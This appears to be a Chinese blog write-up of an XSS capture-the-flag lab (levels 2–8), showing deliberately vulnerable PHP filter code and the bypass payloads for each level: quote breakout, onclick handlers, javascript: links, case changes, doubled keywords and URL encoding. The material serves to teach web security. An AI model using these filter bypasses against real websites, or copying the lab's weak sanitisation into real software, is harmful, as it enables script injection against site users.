当前位置:网站首页>CTF-XSS
CTF-XSS
2022-08-02 14:03:00 【H2223】
环境源码
链接:https://pan.baidu.com/s/1qaSY5PbU8qwgBzbssGv4IA
提取码:6elk
使用phpstudy运行
level2
先写随便写一些字符
<input name="keyword" value="1">
发现字符出现在了双引号中
输入1">发现">逃逸出双引号了
输入1"><script>alert(1)</script><"
<input name="keyword" value="1"><script>alert(1)</script><"">
输入在HTML里是这样的
这样<script>alert(1)</script>就逃逸出""和<>了
level3
到第三关,第二关的语句就失效了
看看后端代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
发现他使用了htmlspecialchars这个函数,htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
htmlspecialchars(string,flags,character-set,double_encode)
在该函数中的第二个参数规定如何处理引号,默认是只处理双引号,不处理单引号
在代码中的函数没有第二个参数,他没有处理单引号,我们可以用单引号逃逸出来,但<script>标签有<>也会被过滤,可以使用onclick
1'οnclick='alert(1)
level4
第四关对<script>标签有过滤,使用onclick就行
1'οnclick='alert(1)
level5
输入1'οnclick='alert(1)
<input name="keyword" value="1'o_nclick='alert(1)">
输入1"><script>alert(1)</script><"
<scr_ipt>alert(1)<"">
<input type="submit" name="submit" value="搜索">
</scr_ipt>
分别对on和script有过滤
可以使用a标签和JavaScript伪协议
a"><a href="javascript:alert(1)">aaaaa</a>
level6
查看前端代码
<input name="keyword" value="a">
<a hr_ef="javascript:alert(1)">aaaaa</a>
发现href被过滤了
查看源代码
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
发现过滤了很多标签,但没过滤大小写
1"ONCLICK="alert(1)
level7
输入a"><a href="javascript:alert(1)">aaaaa</a>
<a ="java:alert(1)"="">aaaaa</a>
发现script直接没了
1"ONCLICK="alert(1)也不行
试试双写
1"OONNCLICK="alert(1)
成功了
level8
这是一个友情链接,要在其中输入javascript:alert(1)
但script被过滤了,双写,大小写都不行
可以使用urlencode编码
javascript:alert(1)
边栏推荐
猜你喜欢
Unit 14 Viewsets and Routing
Camera Hal(Hal3)层修改Preview流
[ROS] The software package of the industrial computer does not compile
What's wrong with running yolov5 (1) p, r, map are all 0
8580 Merge linked list
[ROS] The difference between roscd and cd
verilog学习|《Verilog数字系统设计教程》夏宇闻 第三版思考题答案(第九章)
宝塔搭建DM企业建站系统源码实测
Unit 13 Mixing in View Base Classes
【c】小游戏---五子棋之井字棋雏形
随机推荐
Network pruning (1)
The specific operation process of cloud GPU (Hengyuan cloud) training
yolov5 improvement (1) Add attention focus mechanism
MarkDown语法汇总
深度学习框架pytorch快速开发与实战chapter3
STM32(F407)—— 堆栈
yolov5,yolov4,yolov3乱七八糟的
C语言sizeof和strlen的区别
[ROS](03)CMakeLists.txt详解
重新学习编程day1 【初始c语言】【c语言编写出计算两个数之和的代码】
chapter7
yolov5,yolov4,yolov3 mess
Raj delivery notes - separation 第08 speak, speaking, reading and writing
C语言一维数组练习——将m个元素移动到数组尾部
STM32 (F407) - stack
【c】小游戏---扫雷雏形
C语言日记 3 常量
Chapter6 visualization (don't want to see the version)
verilog学习|《Verilog数字系统设计教程》夏宇闻 第三版思考题答案(第七章)
paddleocr window10初体验